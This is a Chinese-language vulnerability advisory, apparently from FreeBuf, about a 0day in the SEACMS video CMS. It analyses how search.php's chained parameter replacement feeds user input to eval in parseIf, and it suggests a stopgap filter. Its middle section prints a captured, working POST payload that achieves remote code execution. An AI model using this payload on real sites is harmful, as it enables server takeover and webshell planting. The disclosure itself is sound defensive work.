當前位置:
首頁 > 新聞 > 漏洞預警 | 海洋CMS(SEACMS)0day漏洞預警

漏洞預警 | 海洋CMS(SEACMS)0day漏洞預警

概述


最近我們的一名安全託管客戶反應,其伺服器遭受到攻擊,被黑客上傳了webshell並篡改網頁內容。經過我們為客戶安裝雲鎖防護軟體後,攔截到一個針對海洋CMS(SEACMS)的0day漏洞。


海洋CMS是一套專為不同需求的站長而設計的視頻點播系統,在影視類CMS中具有很高的市場佔有率,其官方地址是:http://www.seacms.net/

海洋CMS(SEACMS)幾個老漏洞及其修補方法


在2017年2月,海洋CMS 6.45版本曾爆出一個前台getshell漏洞,漏洞具體內容參見:http://blog.csdn.net/qq_35078631/article/details/76595817。該漏洞成因在於search.php沒有對用戶輸入內容進行過濾,導致攻擊者提交的order參數可進入parseIf函數中執行eval。


官方在6.46版中修復了該漏洞,修復方法是對用戶輸入的參數進行過濾並限制長度為20個字元。但這種修復方法並沒有完全修復漏洞,因為在替換操作過程中用戶輸入的幾個參數可以進行組合,因此補丁被繞過。


隨後官方又在8月7日發布了6.54版本再次修復漏洞,這次修復增加了一句:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

即限制了order參數只能是固定內容,這樣雖然避免了通過order參數進行的攻擊,但是卻沒有解決其他參數進入parseIf函數的問題。


海洋CMS(SEACMS)0day漏洞分析


我們抓取到的攻擊payload(POC)如下:

POST /search.php HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Connection: keep-alive
Upgrade-Insecure-Requests: 1

searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();

可以看到,攻擊入口已經不在是order參數,我們來看一下search.php中的搜索實現過程:

function echoSearchPage()
{
......
   $content = str_replace("{searchpage:page}",$page,$content);
       $content = str_replace("{seacms:searchword}",$searchword,$content);
   $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
       $content = str_replace("{searchpage:ordername}",$order,$content);
......
   $content = str_replace("{searchpage:year}",$year,$content);
       $content = str_replace("{searchpage:area}",$area,$content);
   $content = str_replace("{searchpage:letter}",$letter,$content);
       $content = str_replace("{searchpage:lang}",$yuyan,$content);
   $content = str_replace("{searchpage:jq}",$jq,$content);
   ......
       $content = str_replace("{searchpage:state}",$state2,$content);
   $content = str_replace("{searchpage:money}",$money2,$content);
       $content = str_replace("{searchpage:ver}",$ver,$content);
......
   $content=$mainClassObj->parseIf($content);

可以看到,代碼中對html中的searchpage標籤進行了多次替換,而攻擊者也正是利用了這一點,在多次替換過程中使多個參數共同組合成最終的payload,這樣既繞開了RemoveXSS的過濾又繞過了20位元組的長度限制。
在對參數進行了替換之後,content中已經包含了如下攻擊payload:

if:eval(join($_POST[9]))

在隨後的POST數據中攻擊者又利用9[]把真正的payload利用base64_decode傳入。最終$content內容被傳入parseIf函數。在parseIf函數中判斷含有if:標籤,就會調用eval來執行該內容,從而導致了攻擊者的payload被執行。

function parseIf($content){
           if (strpos($content,"{if:")=== false){
           return $content;
           }else{
......
           @eval("if(".$strIf."){$ifFlag=true;}else{$ifFlag=false;}");


漏洞修復


根據云鎖監測,目前該0day已經被大規模運用,而且攻擊者使用自動化攻擊腳本對全網SEACMS進行搜索並實施自動攻擊。我們已在9月份向CNVD和廠商報告了漏洞詳情,但截至2017.10.9,SEACMS仍然未發布該漏洞的補丁。建議SEACMS用戶立即安裝雲鎖並開啟文件防上傳功能,可暫時避免被自動化程序攻擊。或在echoSearchPage()函數中增加一條過濾語句:

if(strpos($searchword,"{searchpage:")) exit;

*本文作者:天擇實習生,轉載請註明來自FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

「薅羊毛」漏洞分析 | 我是如何到處「混吃混喝」的
看片要當心了!色站不只掏空你,還可能掏空你的電腦
開源軟體安全現狀分析報告
黑帽SEO剖析之隱身篇
Discuz! 任意文件刪除漏洞重現及分析

TAG:FreeBuf |